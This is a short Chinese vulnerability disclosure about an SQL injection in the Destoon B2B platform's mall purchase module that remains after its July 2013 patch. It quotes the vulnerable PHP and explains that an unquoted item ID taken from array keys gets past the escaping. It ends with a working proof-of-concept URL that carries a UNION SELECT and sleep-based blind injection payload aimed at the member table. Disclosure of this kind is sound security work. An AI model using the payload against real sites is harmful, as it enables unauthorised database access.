Destoon B2B建站存在SQL注入漏洞（已经打了20130703补丁）
/module/mall/buy.inc.php 这个文件，除了已经修复了的知道创宇上报的那个注入点，还存在其他注入点。

if($submit) {
require DT_ROOT.'/module/'.$module.'/cart.class.php';
$do = new cart();
$cart = $do->get();
if($post) {
$add = array_map('trim', $add);
$add['address'] = area_pos($add['areaid'], '').$add['address'];
$add = array_map('htmlspecialchars', $add);
$buyer_address = $add['address'];
if(strlen($buyer_address) < 10) message($L['msg_type_address']);
$buyer_postcode = $add['postcode'];
if(strlen($buyer_postcode) < 6) message($L['msg_type_postcode']);
$buyer_name = $add['truename'];
if(strlen($buyer_name) < 2) message($L['msg_type_truename']);
$buyer_mobile = $add['mobile'];
if(strlen($buyer_mobile) < 11) message($L['msg_type_mobile']);
$buyer_phone = $add['telephone'];
$buyer_receive = $add['receive'];
if(strlen($buyer_receive) < 2) message($L['msg_type_express']); $i = 0; foreach($post as $k=>$v) {
$t1 = explode('-', $k);
$itemid = $t1[0];
$s1 = $t1[1];
$s2 = $t1[2];
$s3 = $t1[3];
$t = $db->get_one("SELECT * FROM {$table} WHERE itemid=$itemid");

其中$submit,$post,$add都是外部提交数据。
由于$t = $db->get_one("SELECT * FROM {$table} WHERE itemid=$itemid");
由于$itemid由$post数组的key赋值，被输入控制，且SQL语句里面没有单引号包围$itemid,导致绕过GPC防护，可以进行union查询盲注。
需要登录，

http://localhost/webapp/destoon/mall/buy.php?add[address]=abcdefghijklm&add[postcode]=abcdefghijklm&add[truename]=abcdefghijklm&add[mobile]=abcdefghijklm&add[telephone]=abcdefghijklm&add[receive]=abcdefghijklm&post[1 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,sleep(10) from destoon_member]=b

同时POST提交submit=1

20131022102524

作者：hawkish001